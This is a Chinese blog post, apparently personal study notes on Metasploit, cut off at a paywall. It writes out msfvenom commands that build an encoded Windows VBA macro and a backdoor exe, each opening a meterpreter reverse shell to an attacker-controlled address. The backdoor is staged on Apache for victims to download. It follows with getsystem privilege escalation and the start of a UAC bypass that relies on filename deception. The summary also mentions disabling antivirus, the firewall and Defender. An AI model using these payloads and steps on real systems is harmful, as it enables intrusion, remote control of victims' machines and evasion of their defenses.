本文记录了MSF（Metasploit Framework）学习过程中的内容，包括如何生成root@kali的宏代码，利用session扩展战果。提权部分涉及后门shell文件创建、UAC绕过策略，如USC权限欺骗、直接绕过UAC，以及利用漏洞、图形化payload、psexec模块等方法。提权失败后的应对措施包括关闭UAC、防火墙、Windows Defender、磁盘加密、DEP，禁用防病毒软件，启用远程桌面，并进行远程桌面查看和加壳操作。
搬迁到Minggle’Blog
##宏代码生成root@kali
root@kali:~/Desktop# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -e x86/shikata_ga_nai -f vba-exe
##利用session 扩大战果
###生成后门shell文件
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.66.12 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 7 -f exe -o a.exe
root@kali:~# cp a.exe /var/www/html/a.exe ##拷贝到apache目录，方便靶机下载
root@kali:~# service apache2 start
###获取shell后提权
meterpreter > load priv ##读入提权模块
meterpreter > getsystem ##获取system最高权限
####提权失败需要绕过UAC机制（administrator组账号）
方法一 ##询问USC权限，需要社工文件名欺骗
msf > use exploit/windows/local/ask
msf exploit(
最低0.47元/天 解锁文章
1596
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
